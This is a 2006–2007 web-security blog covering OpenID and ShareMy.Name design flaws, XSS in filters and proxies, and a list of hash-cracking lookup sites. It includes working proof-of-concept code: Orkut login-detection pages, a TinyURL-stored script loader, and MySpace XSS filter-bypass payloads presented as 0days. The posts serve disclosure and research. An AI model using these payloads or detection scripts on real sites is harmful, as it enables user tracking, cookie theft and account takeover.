Monday, January 22, 2007

ShareMy.Name Design Issues

I've just posted a little article about some things that I think are currently wrong with OpenID implementations, so I thought it would be only fair to give the same treatment to ShareMy.Name - which admitedly isn't a SSO (Single Sign On) service, but it does provide a facility for easily giving out your data to everyone.

First of all though, I'll give you some history of what I've personally seen. ShareMy.Name seems to have gone through several different phases from where they simply acted as a username/password and personal details depository so that other sites didn't and so you would have to provide the same username and password to all sites, and a malicious (or hacked) site could get all your details, to where you needed to enter a regenerating accesskey (sort of like those two-factor ID things) to the current state where you get an accesskey assigned to you when you sign up, and send that key (supposedly) to ShareMy.Namen where if the accesskey matches an account, it asks you if you want to send the data the site has asked for back.

You can see a demo here: http://sharemy.name/test_sendback/

They also give you a Javascript Bookmarklet which looks something like this:
javascript:document.cookie='accesskey=aNwluiUMqk;path=/';
function r(){
document.forms['sharemyname'].accesskey.value='aNwluiUMqk';
document.forms['sharemyname'].action='http://sharemy.name/sendback/';
document.forms['sharemyname'].submit();
}
if(document.forms['sharemyname']) r(); else alert('We tried everything, your going to have to enter aNwluiUMqk manually; or, they do not support ShareMy.Name.');


Which tries to send the request to Share.MyName so that you can verify whether or not you want to send certain details to the site.

For the moment lets ignore the fact that you could just ask the user to input their accesskey in a form, and they would readily do it, or the fact that every site gets sent the accesskey, and assume that the bookmarklet is the only way to get the data, and the accesskey is not sent back.

They give us the accesskey (when they set the cookie) no matter if the user agrees to give it to us on the sharemy.name page.

But ignoring the fact that we are given the accesskey initially (this is an easy fix with no real ramifications - what is harder to fix is people overloading and subverting the page in such a way that the bookmarklet fails in its job), and the fact that users are encouraged to enter their accesskeys into unknown forms ('We tried everything, your going to have to enter aNwluiUMqk manually; or, they do not support ShareMy.Name.'), there is still the problem that the site is sent the accesskey by default.

This is a problem, because when the user say gives the their First Name, Interests, and Accesskey, they are essentially giving the site all of their information, because there is no additional identification required to get information about the person other than the accesskey.

And even more than that, since the key is permanent (from what I've seen) they have access to your data indefinately.

Now I realise that this could all be fixed simply by requiring the user to be logged into their account when agreeing to share details, but I think without an expose on the ramifications of their current design, nothing will change. And its fun to write about the havoc one can wreak.

I won, I won, I won.....

I won a book! Anyway, yesterday I remembered the contests Sploitcast runs, and went and had a look at the one they'd released last friday, and to my surprise found the one that had been released on the day I'd gone canoeing hadn't been solved, a couple of hours later: http://www.sploitcast.com/ (Scroll down to the News Section) I solved the challenge (by finding a copy of purchase_report.txt), and it seems I was the first. So now I get a free Syngress Publishing book.

I chose to get RFID Security by Frank Thornton, Brad Haines and John Kleinschmidt, which should be interesting once it gets shipped out to me.

If anyone is bored, I suggest they go try out the challenge (even though you won't win anything), its an interesting one.

Oh, and if anyone is subscribed to the RSS feed (I think there are a very small few) and you don't want to read about crap like this, just subscribe to the "Security (All)" feed, which won't contain anything other than security articles.

Sunday, January 21, 2007

Insecure OpenID 'Features'

Note: I wrote this a while ago, and I haven't gone over it completely, but I thought it would be worth posting about.

I read about OpenID a while ago, when my friend asked me what I thought of it from a security perspective, and from what I could tell from the documentation, except for DNS issues it wasn't a bad decentralized authentication protocol. And I didn't do any further research into it until I came a blog entry describing how it worked in practice http://www.readwriteweb.com/archives/openid_vs_bigco.php).

In that article/flash 'demo' I saw that as with any protocol, developers can come up with great 'features' which damage the security of the protocol. And this isn't one OpenID provider deciding to add an insecure feature, either, it is one that is common throughout the 3 OpenID providers mentioned in the article, which I assume are the most popular ones being used (why else would a blogger mention them?).

Now, what is this feature I feel should not exist? It is the feature to set a site to be able to accept your credentials without you having to enter your OpenID password, and since your OpenID provider does not provide these details to the host, they do

Of course, you still need to be logged into your OpenID provider, but since you're meant to be using this login for several sites, its not too much of a stretch to believe that you're going to be logged in all the time you're online - which is quite a large time frame. And if we consider that most sites will these days tell other users when a person is online, or allow you to reveal that fact yourself via posting comments, photos, etc, its not too difficult.

But enough about the feature itself; what does it mean to us? This means that an attacker can log you into any site you decided to trust via CSRF attacks because the site cannot tell if you've entered a password. Now this might not seem important, but it is very important for both large and targeted attacks because the user no longer needs to be logged into the service you want to attack, but merely logged into the central service.

Even worse, this fact is completely misrepresented to users. The questions that are posed essentially revolve around whether you trust the site that wants to verify your identity, and whether or not your OpenID provider should always verify your identity to this source, so even if a user is generally cautious about these kind of things, if something like an email provider started using this a user would be more likely to trust the site, and cause security issues. Essentially the more critical the information you are accessing the more likely to trust the site you are trying to access, and so the more critical sites are the ones which will have issues with this; lets just hope they don't use OpenID though, because leaving DNS security, essentially up to your users, is as about the worst idea anyone could come up with, but that's another rant altogether.

For reference, the 3 OpenID providers I tested were:

http://www.myopenid.com/ where users are asked if they want to allow the site they want to log into to be able to verify their identity, and the insecure answer is "Allow Forever"

http://www.claimid.com/ where users are asked if they want to log into a site, and the insecure answer is "Login and Trust"

http://www.videntity.org/ where users are asked if they trust the remote site with their identity, and the insecure answer is "Yes, and don't ask me Again"

Another insecure 'feature' is the lack of need to enter a password to register for a site. Out of those 3 OpenID vendors, only http://www.claimid.com/ asked users for a password when registering for a site, the other two had only CSRF protections. This is admittedly not particularly serious because you still need an XSS (or similar) flaw in the OpenID provider's site before you can take advantage of the design idea, but it is rather worrying that people designing secure systems don't seem to want to implement defence in depth.

Detecting Javascript .focus() in iframes to Detect Logged In Status (IE only)

I've been playing around with a lot of ways to detect if users are logged in, but I haven't published many of them so here's yet another way to detect if users are logged in.

One thing many sites (google sites in this example) do is use the Object.focus() method to set the focus to a login form.

And in IE; if the object getting focused on is in an iframe, the iframe also gets focused on, which is an event which we can easily detect, so if we have an iframe to which there is no way a user can themselves set the focus to, and it gains focus, this should tell us that the content of the iframe set the focus to something, and the user is therefore not logged in, if after a few seconds of it being loaded but not gaining focus we can very safely assume it didn't try to, and the user is therefore logged in.

Here's a quick PoC for Orkut:

<html>
<body>
<script>
var logged = true;
function check () {
    if (logged == true) {
        alert('You ARE logged into orkut');
    }
}
</script>
<iframe src="https://www.orkut.com/News.aspx" onFocus="if (logged == true) { alert('You are NOT logged into Orkut.'); logged = false;}" onLoad="window.setTimeout ('check()', 1000);" width=0 height=0></iframe>
</body>
</html>

On Stefan Esser's CSRF Protection Idea

A while ago I read a post entitled CSRF protections are not doomed by XSS by Stefan Esser which proposed an interesting method of using domain boundaries to stop an XSS hole in the main domain being used to extract form tokens and circumvent CSRF protections, and it would even go so far as being able to stop an XSS vuln in one form being able to circumvent the CSRF protections of another.

And even if it is more difficult to implement than simple token protections, it is still feasible if you use a wildcard DNS entry, and have a check on each form which checks if the $_SERVER['HTTP_HOST'] is the appropriate one, and if not then redirect to the appropriate one.

And I was even going to implement an example, until I realised one simple flaw; its all still hosted on the same server, and the only thing separating it is the HTTP Host header which can easily be forged via XMLHttpRequest or FlashRequest, so this protection can easily be beaten.

Which got me thinking; what would you need to add for it to work as intended? Well, you could put all the forms on separate servers, but that doesn't seem at all practical, the only really viable solution is to add more authentication mechanisms which are readable only by the specific subdomain and no others.

And thats really the biggest issue - you have to create an extra session key for every single form you have on your site, and set a cookie for them, and they all have to be set at login, and can never be regenerated because XMLHttpRequest and (possibly) FlashRequest can read response headers and extract the cookies being set on subdomains.

So while it is still of course possible to implement this, it seems completely impractical to create yet another session id which the server has to keep track of for every single form.

But if anyone has actually implemented something similar to this in any environment I'd really love to hear about it.

Saturday, January 20, 2007

XSS-ing Web Middleware

A while ago I stumbled upon some XSS vulnerabilities in some Web Filtering Software (namely Websense and Surfwall), and it got me thinking that these applications along with other Web middleware could be as damaging (if not more so) to the end user as an XSS hole in the middleware would affect all sites used through the middleware.

What is Middleware?



But what kind of middleware exists on the web? Right now I can only think of two different types; web filters, and web proxies. Lets have a quick think about how these two pieces of software are different from an attacker's point of view.
With a web filter, the software exists on every single domain which has 'objectionable' content, and when we XSS it through a web filter, we are still attacking the original domain.

Web proxies on the other hand are very different though because web proxies only exist on their domain, but everything goes through them, so while most web proxies store the cookies on their server (so a direct XSS attack will not yield authentication cookies for other sites), if you can steal the web proxy's cookies, you are essentially logged into everywhere the user is.Sadly you don't know where that is, and you need to find out.

XSS-ing Web Filters


Firstly, lets assume we've found an XSS flaw in some filtering software, and from what I've seen (http://www.jungsonnstudios.com/blog/?i=28&bin=11100 ; http://sla.ckers.org/forum/read.php?3,44,4640#msg-4640) Its not too big an assumption.

The next question, is what conditions do we need to meet for an attack to work? Well, obviously we need to have the web filter become activated on the site (in the sense that it does block pages from that site), but most importantly of all we need the web filter to display error messages on the domains it is blocking, rather than on a central domain.

Another useful (but not essential) condition is to have the site only partially blocked so that the user can be already logged into the domain you want to attack.

Essentially this means that content based web filters (e.g. ones which search for meta tags, titles, keywords, etc), are better targets than those which block sites on a per domain, block list basis because those that are completely blocked won't have users logged into them and so attacks against them need to be completely different.

Why? Because if you block a whole domain, then an XSS hole in it won't allow you to steal login credentials because the user isn't logged in. On the other hand if a domain isn't blocked in a blocklist, then we can't execute an attack. But if a domain isn't blocked in a content based web filter it may still be possible to get it to be blocked by injecting restricted keywords into a page. So even if a page is not blocked, you can inject some keywords into a search string, and have it block the page.

The one thing that I have been able to come up with though is simply replacing the whole page that is blocked. Lets say www.sharetrading.com is blocked because a company doesn't want its employees using work time for checking on their shares and the whole domain is blocked, but you have an XSS hole in the blocking page. From there you can easily inject some Javascript which would overwrite the page blocked message and replace it with what the user expects and simply collect login details.

Sadly though both of the vulnerabilities that Luny and Jungsonn have found exist on a central server. So while there are currently no vulnerabilities that I know of that satisfy these conditions, it is important to keep in mind that every layer you add which can possibly add content is vulnerable.

XSS-ing Web Proxies


Like I mentioned above; web proxies are really the polar opposite of web filters because they exist on one domain showing content from all domains rather than showing the 'same' content on all domains. But these are a dime a dozen and vulnerabilities should exist by the bucket load.

And they do; because they have an enormous task set for them; they must not only remove all Javascript, but they have to keep content as much intact as possible, and so they often even go as far as allowing Javascript and try to rewrite it so that its safe. There's really no way of locking these down without destroying so much functionality its not funny, its like surfing without Javascript, except with some potential holes around the setting.

For the ones which try to remove Javascript completely - well, its just another XSS filter, it shouldn't be much of an issue to defeat.

For the ones which try to rewrite it there is some really interesting stuff I want to talk about. The example I'll be talking about is http://the-cloak.com/. It has the added feature that it rewrites Javascript so that it executes almost like its on its on the actual domain, to do this it replaces all instances of document.cookie and similar properties with TC_document_cookie and similar, which contain the variables from the site which the-cloak.com is proxying. It is of course trivial to break past this by using some simple javascript tricks like this:

var test = document;
alert(test.cookie);


But even more interesting is the realisation that there is (of course) no same domain origin policy in force here so you have unrestricted access to all the cookies for every domain, and you can just use an iframe to load the proxied domain you want to attack, and then simply read the TC_document_cookie variable out of the iframe.

For those that don't spit the cookies out anywhere; keep in mind that all XSS attacks are nothing more than a means to an end and being able to steal the cookies for the web proxy is just as useful.

Conclusion


As we can see XSS is something that may end up concerning more people than just web app developers, anyone who develops apps which interact with the web will have to make sure that their products don't add extra vulnerabilities to a user's set up.

Ok, so I haven't really said anything ground breaking, but its something that wasn't being said anywhere else that I could see, so I thought I'd write about it, even if it is partially theoretical.

Also; if anyone can think of any more middleware which exists on the net; please, write a comment, send me an e-mail, or get in touch in some other way, I'd love to hear about more things which can potentially make the web a more dangerous place. In fact I'm willing to hear about any applications which somehow influence what the browser renders no matter where they are.

More content coming soon

I've just gotten back from an 8 day canoeing trip with some friends, where I realised that I have so many ideas, PoCs, papers and similar things which are just lying around and not being discussed or published by anyone else, so in a rare attempt at conscientiousness I'm going to try and publish at least one article a day for the next week - hopefully it'll work and I won't give up too soon. So look forward to seeing some new (and hopefully interesting content) soon.

Monday, January 01, 2007

More Logged In User Detection via Authenticated Redirects

Ok, so what's changed since the 30th when I posted about this under a different name (Semi-Open Redirects), well, I thought of a better name and some new ways to exploit Authenticated Redirects.

Authenticated redirects should be self-explanatory, but essentially I just mean redirects which don't redirect you if you aren't logged on (or ones which redirect you only if you aren't logged on, but its a good enough name for me anyway).

Now, in my post about Semi-Open redirects, one of the constraints I hadn't thought of a circumvention for was the need to have an open redirect, so you could control where it redirects.

Since then I've realised that its not always necessary to control where the redirect sends users. Because we can already check if a user has visited a page through the CSS history hack!

Some common types of authenticated redirects which you can find on the internet are download pages which you need to login to view, which use redirects to track how many people are getting sent to each download or other link.

But anyway, these redirects are abundant, so here's the source to a working PoC for Orkut:
<html>
<body>
<script type="text/javascript">
    function iframe_callback() {
        if(temp.offsetHeight==1){
            alert('You are NOT logged into Orkut.');
        } else {
            alert('You ARE logged into Orkut.');
        }
        c.removeChild (temp);
        document.body.removeChild(orkut_iframe);
    }

    document.write( '<style type="text/css">#nicked a:link{color:#fff;}' );
    document.write( '#nicked a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}' );
    document.write( '#nicked{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>' );
    var c = document.createElement('div');
    c.id='nicked';
    document.body.appendChild(c)
    
    var visited = true;
    var temp = document.createElement('a');;
    temp.innerHTML = 'test';
    c.appendChild(temp);
    var random, link;
    
    while (visited == true) {
    
        random=Math.floor(Math.random()*1000000);
        link = 'https://www.orkut.com/GLogin.aspx?done=https%3A%2F%2Fwww.orkut.com%2FNews.aspx%3Ftest%3D' + random;
    
        temp.href=link;
        if(temp.offsetHeight!=1){
            visited = false;
        }
    }
        
    var orkut_iframe = document.createElement('iframe');
    orkut_iframe.src = 'https://www.orkut.com/News.aspx?test=' + random;
    orkut_iframe.style.display = 'none';
    orkut_iframe.onload = iframe_callback;
    document.body.appendChild(orkut_iframe);
    
</script>
</body>
</html>


Note: This PoC works on the principal that Orkut redirects you to a login page with the URL of where you wanted to go in the URL, and so we create URL with a random number appended to the URL, and then we see if you were redirected to the login URL.

Oh, and credit to Christian Heilmann whose CSS detecting code I essentially stole, because he was the first one smart enough to get it working in all browsers and post the working version in a comment on Jeremiah's blog. If anyone is interested I ripped the code from here: http://icant.co.uk/sandbox/nickhistory.html

Saturday, December 30, 2006

Detecting Logged In Users

This summary is not available. Please click here to view the post.

Using TinyURL For Storage (includes PoC)

Note: To skip to the PoC click here.

I recently read the following post about trying to write something that took advantage of pdp's article of using tinyURL for storage: http://michaeldaw.org/news/news-221206/

Sadly at the time I hadn't actually read pdp's article (http://www.gnucitizen.org/blog/the-attack-of-the-tiny-urls/) further than the first couple of lines, because the title seemed rather self explanatory. Anyway, I wanted to write a comment to that post, but it didn't want to let me, maybe that's because the comments are moderated or something, so here's what I wanted to write:

Sure, you can't directly link to them and have them to redirect to data URLS, you need a different type of redirect (http://kuza55.blogspot.com/2006/11/not-all-redirection-scripts-are-created.html) for that to work. And anyway, if Location headers could redirect users to data URLs then we'd have yet another XSS vector to deal with.

What you can do though is create URLs with your data in them like this one: http://tinyurl.com/ye9kbd which redirects to http://www.google.com/search?q=data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4=

But that still leaves us with the problem of having a cross-domain browser security policy, whereby we can't even find out where the URL redirected to, unless its on our site. But since we're already attacking a site, we can easily just create a tinyURL with the data in the query string.

So lets say you were conducting an XSS attack against www.example.com you could submit http://www.example.com/#data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4= to tinyURL, get a URL back, put the tinyURL in the src attribute of an invisible iframe, then set the onLoad event (or something else, onLoad is just easy to work with) to parse the location, and then simply use that data as you need to.

And since we're using the # symbol to separate our data, it won't show up in the site's logs, since everything after it shouldn't sent by the browser.

But a more profitable method would probably be to simply post your data on a site with an insecure crossdomain.xml file, and use flash to make arbitrary requests to read that data.


Anyway, even though its taking up most of the post, its not the important part, I also got bored and wrote a PoC for pdp's idea (which is exactly the same as mine actually, but I should have read his article, :S). It needs to be run on localhost for it to work, well, either that or you need to change the tinyurls to reflect the site you're hosting it on, and you need to make sure the len argument is correct, I'm using 18 because http://localhost/# is 18 characters in length. Anyway, here's the actual code:

<html>
<body>
<script>

function getURLEncodedScriptFromTiny (tiny, len) {

    var b64iframe = document.createElement('iframe');
    b64iframe.src = tiny;
    b64iframe.style.display = 'none';
    var callback = new Function ('getb64callback(this, ' + len + ');');
    b64iframe.onload = callback;
    document.body.appendChild(b64iframe);
}

function getb64callback (iframe, len) {

    var script = iframe.contentDocument.location + '';
    script = unescape(script.substring(len));

    document.body.removeChild (iframe);

    var b64script = document.createElement('script');
    b64script.type = 'text/javascript';
    b64script.text = script;
    document.body.appendChild(b64script);

}

function getDataFromTiny (tiny, len, order) {

    var data_iframe = document.createElement('iframe');
    data_iframe.src = tiny;
    data_iframe.style.display = 'none';
    var callback = new Function ('getDatacallback(this, ' + len + ', ' + order

+ ');');
    data_iframe.onload = callback;
    document.body.appendChild(data_iframe);
}

function getDatacallback (iframe, len, order) {

    var temp = iframe.contentDocument.location + '';
    data[order] = temp.substring(len);
    loaded++;
    document.body.removeChild (iframe);
}

getURLEncodedScriptFromTiny ('http://tinyurl.com/ycx7mq', 18);

var data = new Array(2);
var loaded = 0;

getDataFromTiny ('http://tinyurl.com/w6jwb', 18, 0);
getDataFromTiny ('http://tinyurl.com/y35tuw', 18, 1);

function CheckLoaded() {
    if (loaded = 2) {
        clearInterval (tiny_wait);
        var content = document.createElement('textarea');
        content.value = decode64(data.join(''));
        content.cols = 80;
        content.rows = 20;
        document.body.appendChild(content);
    }
}

var tiny_wait = setInterval('CheckLoaded()',2000);


</script>
</body>
</html>


Note: The code WILL break if the first request to TinyURL (the one for the URL Encoded script) takes too long and finishes after the actual content has been loaded, because the CheckContentLoaded function uses the function stored on TinyURL.

Also, the code could probably be made half its size by removing the functions to get the script, and making the remaining two functions which get data from Tinyurl a little bit more agile, but its a PoC, making it work efficiently is a task left to the reader, :p

Sunday, December 24, 2006

MySpace Non-Alpha-Non-Digit XSS 0day

It seems that MySpace has finally understood the issue here, which is good news, but the way their filter is written is working against them, or at least thats what I'm guessing from the results I'm getting.

Anyway, here's the exploit:

<body onLoadmoz-binding="alert('XSS');">

As you can see if you run that moz-binding is changed to .., and we are left with the following:

<body onLoad..="alert('XSS');">

So from this I think we can quite safely assume that they have a few separate modules which have their go at the code in order, and if something gets changed to something dangerous, but the module that would filter that particular dangerous code out has already run (the non-alpha-non-digit filtering module), then the code is allowed through.

Isn't black box auditing fun? You end up making guesses that are quite often so very wrong but fit your results, :p.

Thursday, November 23, 2006

Not all redirection scripts are created equal.

Now, I'm sure we're all used to redirection scripts by now, and most of us should be aware of the danger of HTTP Response Splitting when allowing user content in the headers we send, and that there is also a patch in PHP since 4.4.2 and 5.1.2 which prevents this by dissalowing multiple lines in a single header call. This patch is not completely bullet proof as articles such as HTTP Response Smuggling illustrate, but sometimes there's an easier way to achieve what you want.

First of all, what is it that HTTP Response splitting gets most used for anyway? XSS. So any injection that will give us an XSS vector is just as good as any other.

But like the title says, not all redirection scripts are created equal. The most common approach used to redirect people is somewhat similar to the following:

<?php
header ("Location: ".$_GET['url']);
?>


Which, when the PHP patch is applied, should be perfectly safe when ti comes to preventing XSS.

But is that the only approach? As some recent auditing I've done has shown me, its not.

I found something like the following not too long ago:

<?php
header ('refresh: 0; URL="'.$_GET['url'].'"');
?>


And while it may serve the same needs as the above it, its surprisingly different. But before I explain the exact problem, does the header look familiar to you? It should, its the header that is used in meta tags to redirect users, and if you've done much reading on XSS you should know that meta redirects are another way to execute javascript.

And unsurprisingly enough, the above header follows the same rules. The refresh header, unlike the location header allows you to redirect users to javascript: or other URLS, depending on what your browsers support, so it should be no trouble at all to simply pass a javascript url to the script and have the user execute the javascript.

Just goes to show how there is generally more than one way to do something, but going down an untested road will often lead to unforseen problems that have already been solved for other approaches.

Sunday, November 05, 2006

More MySpace XSS

I don't know whether to feel sorry for MySpace, or whether to laugh. The amount of XSS holes in MySpace is nothing short of outstanding.

And the sad thing is they've clearly tried to fix as many things as they've been able to find, but some things have fallen just short.

Anyway, the flaw I found this time around is that MySpace doesn't know that you can have an underscore (_) between an attribute name and the equals sign, and have it being valid, like so: (Note: This only works on Firefox)

<body onLoad_="alert('XSS');">

But the interesting thing is that they have got a regex which dissallows everything which looks like on*= (obviously it doesn't look anything like that, but I'm not going to bother trying to write regexs), and yet they've done it in such a way that they need to know about what characters are allowed, essentially creating ablacklist of chars which they won't let you use between an attribute name and an equals sign. Why anyone would create a blacklist for that amazes me.

Friday, October 27, 2006

Myspace XSS Fragmentation - Again

Well, as Dark Reading reported I believed that the patch MySpace implemented was near-sighted, and that it was possibly vulnerable to more XSS Fragmentation attacks. And it is.

(The following rewritten for clarity. 28/20/06 11PM GMT)
===========================
MySpace XSS Vulnerability 0day
Released 28/10/06
by kuza55 of w4ck1ng.com
===========================

Contents:

1.0 Introduction
2.0 Analysis
2.1 MySpace's Fix
2.2 Other XSS Fragmentation Attacks
3.0 PoC
4.0 Final Notes

===========================
1.0 Introduction
===========================
The vulnerability explained here is an XSS Fragmentation attack. Breifly, and XSS Fragmentation attack is one which works by placing 2 seperately harmless pieces of HTML into two different input field which are rendered on the same page, which when rendered join to create a dangerous attack vector. More details, along with the previous MySpace attack, can be found here: XSS Fragmentation Attacks + Myspace 0day

MySpace found about the vulnerability in the above link and implemented a 'fix', it hasn't held.

===========================
2.0 Analysis
===========================
This section should explain what MySpace did, and why other Fragmentation attacks don't work.

===========================
2.1 MySpace's Fix
===========================
This section assumes you already know about the previous vulnerbaility.

Anyway, the fix that MySpace implemented altered their event handler stripping code, which previously removed event handlers if they were inside a tag. They changed it so that it also removed all event handlers after a single quote, no matter if it was in a tag or not. And while it addressed the PoC code in my earlier post, they did not implement the recomended fix, and now again find themselves vulnerable.

The reason this is not enough is because there are considerably more XSS attack vectors than the simple one I used. They range from the simplest (using other encapsulation characters - as this attack does) to using style and other attributes and tags to execute javascript.

===========================
2.2 Other XSS Fragmentation Attacks
===========================
Now, it would have been considerably more interesting to come out with a completely different XSS Fragmentation attack, but sadly that is not possible due to the way MySpace's filter works.

One of the requirements for being able to execute an XSS Fragmentation attack is that the filter must be stateful (or contextual, or however you want to describe it), in that it will allow things that are malicious under some circumstances to be included if they are judged to be being inserted in safe circumstances.

The only part of MySpace's filter which does this is the event handler code. All th other vectors which could be used like javascript in image tags, or javascript in URLs for background images, etc, are all filteredout wherever they are. For example if you type "moz-binding" in any input field it is automatically filtered out, the same goes for "expression (", "javascript:", "data:" and several others. In effect this stops XSS Fragmentation attacks in these altogether. And while this seems like its is not a very good solution because it possible for users to need to type those words normally, thats the way its been done, and no-one is complaining.

===========================
3.0 PoC
===========================
This PoC is almost identical to the previous one, except the single quotes (') are changed to grave accents (`). Insert these 2 separate pieces of code into 2 separate input fields: (Note: This only works on IE and Netscape 8.1, because other browsers don't understand grave accents as encapsulation chracters for HTML tag attributes.)

<body test=`

` onLoad="alert('XSS');">

===========================
4.0 Final Notes
===========================
Well, what can I say? I explained a fix, they didn't use it, they ended up being vulnerbale again, what a surprise.

Sunday, October 22, 2006

Online Reverse Lookup Tables For Various Hashing Algorithms

Here's a list of the various online reverse-lookup tables I found, they all support md5, but some support other hashes as well (including SHA-1 & NT/LM)

If you know of any more PLEASE tell me and I'll add them to the list.

Update: C'mon guys, is it that hard to just leave a comment with the other crackers you know about? I don't moderate comments, you don't need to sign up or anything, just leave a link. I know you guys know of more than this list because I check the referers Google Analytics tells me about, and go to forums and find people linking to others, but no-one has told me of any extra ones.

Some of them seem to be down atm, but since I'm not sure how long they've been down or if they're coming back I'm posting them anyway.

md5:
http://www.tmto.org/ (formerly md5lookup.com)
http://md5.rednoize.com (good with words)
http://nz.md5.crysm.net (English dictionary, nearly all one to four character alphanumeric. 27.8m records.) - seems to be down atm
http://us.md5.crysm.net (British, Jargon and American worldlist, IP addresses 16.0m records)
http://www.xmd5.org (good with numbers)
http://gdataonline.com (wordlist based, I think)
http://www.hashchecker.com (It seems to say its good, but I've never gotten many hits form here)
http://passcracking.ru
http://www.milw0rm.com/md5
http://plain-text.info (this one is quite good and generally returns results, but you have to submit things to be cracked, its not just an online database)
http://www.securitystats.com/tools/hashcrack.php (does various, including LM NTLM and SHA-1, but seems to return no results on anything than the most basic, so rather useless)
http://www.schwett.com/md5/ - Does Norwegian words too
http://passcrack.spb.ru/
http://shm.pl/md5/
http://www.und0it.com/
http://www.neeao.com/md5/
http://md5.benramsey.com/
http://www.md5decrypt.com/
http://md5.khrone.pl/
http://www.csthis.com/md5/index.php
http://www.md5decrypter.com/
http://www.md5encryption.com/
http://www.md5database.net/
http://md5.xpzone.de/
http://md5.geeks.li/
http://www.hashreverse.com/
http://www.cmd5.com/english.aspx
http://www.md5.altervista.org/
http://md5.overclock.ch/biz/index.php?p=md5crack&l=en
http://alimamed.pp.ru/md5/ (for those who can't read russian: put your md5 in the second box)
http://md5crack.it-helpnet.de/index.php?op=add (German, I have no idea....)
http://cijfer.hua.fi/ (Projects->md5 reverse lookup)
http://shm.hard-core.pl/md5/
http://www.mmkey.com/md5/HOME.ASP
http://www.thepanicroom.org/index.php?view=cracker
http://rainbowtables.net/services/results.php (I'm not sure i'd trust this site to give more than a tiny amount of results)
http://rainbowcrack.com/ (requires people to contribute rainbowtables to be able to query them, and continue contributing them constantly)
http://www.securitydb.org/cracker/
http://passwordsecuritycenter.com/index.php?main_page=product_info&cPath=3&products_id=7 (This is meant to be used as proof that they can actually reverse passwords to convince you to buy their stuff, but as long as they decrypt it it doesn't matter why, right?)
http://0ptix.co.nr/md5
https://www.astalavista.net/?cmd=rainbowtables
http://ice.breaker.free.fr/
http://www.md5this.com
http://www.pldsecurity.de/forum/md5.php
http://www.xeons.net/genesis/
http://hackerscity.free.fr/
http://bisix.cogia.net/
http://md5.allfact.info/
http://bokehman.com/cracker/
http://www.tydal.nu/article/md5-crack/
http://ivdb.org/search/md5/
http://md5.netsons.org/
http://md5.c.la/ (The form at the bottom left of the page)
http://www.jock-security.com/md5_database/?page=crack
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.blackfiresecurity.com/tools/md5lib.php (Queries the MD5 Library AIM Bot)
http://www.md5-db.com/index.php
http://www.kevlardisk.org/
http://md5.idiobase.de/
http://md5search.deerme.org/
http://sha1search.com/

lm Only:
http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/ (Currently Offline)
http://www.milw0rm.com/lm (Currently Offline)

lm + ntlm:
http://plain-text.info
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/
http://passwordsecuritycenter.com/index.php?main_page=product_info&cPath=3&products_id=7
https://www.astalavista.net/?cmd=rainbowtables

md4:
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/

sha1:
http://passcrack.spb.ru/
http://www.hashreverse.com/
http://rainbowcrack.com/
http://www.md5encryption.com/
http://www.shalookup.com/
http://md5.rednoize.com/
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.tmto.org/
http://md5search.deerme.org/

Saturday, October 21, 2006

XSS Fragmentation Attacks + MySpace 0day

===========================
Fragmentation Is Not Just For The Network
XSS Fragmentation Attacks
Written 18/10/06
by kuza55
===========================

Contents:

1.0 Introduction to Fragmentation Attacks
2.0 XSS Fragmentation Attacks
3.0 MySpace 0day!
4.0 Mitigation
5.0 Final Notes

===========================
1.0 Introduction to Fragmentation Attacks
===========================
At the simplest level, fragmentation attacks are possible when several fragments, which are by themselves not a security risk and can therefore be allowed to pass through a filter or firewall, but when the fragments reach their destination the fragments are combined and produce something dangerous.

Fragmentation attacks are usually seen in relation to the network/session layer where firewalls and IDSs try to filter packets on how dangerous they are deemed to be, they are also used to sometimes fool those same devices which try to rearrange the packets themselves and read the streams, but that is not what this article is about, this article is specifically about attacks where the whole document is not reassembled and checked.

===========================
2.0 XSS Fragmentation Attacks
===========================
XSS Fragmentation attacks are generally quite rare because they require either multiple sets of input being displayed on the same page which have all gone through the same (or at least a similar) XSS filter and are not tidied up.

Another requirement that must be placed on the XSS filter is that it must be completely dumb in the sense that it simply strips away < and > characters, or it is stateful, and allows certain strings in places where it would not allow them, e.g. <body onload="alert('XSS');"> would not be allowed, but onload="alert('XSS');" would be.

The idea behind XSS fragmentation attacks is to have your normally non-dangerous code (e.g. onload="alert('XSS');") placed in a dangerous position.

The simplest place to get your code placed is inside another tag and that is the example I'll go with now.

===========================
3.0 MySpace 0day!
===========================
The example I'll be using is a MySpace 0day I discovered. First of all I’ll give a quick explanation of the system MySpace has. You are not just given a single field to enter your profile into, you are given several fields about yourself, who you'd like to meet, your interests, etc.

Anyway, the sections we will be attacking are the most closely placed sections on the page, the interests sections (more specifically the Music and Film ones), normally your resulting code looks like this:
<tr id=MusicRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Music</span></td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Films</span></td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Films Go Here!</td></tr>

The only things separating our 2 fields was this small block of code:
</span></td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Films</span></td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">

Now what interesting things can we see about that code, well we can see that there are no single quotes there at all, and the only quotes used are double quotes.

So of course we can do something to encapsulate the text in between like so:
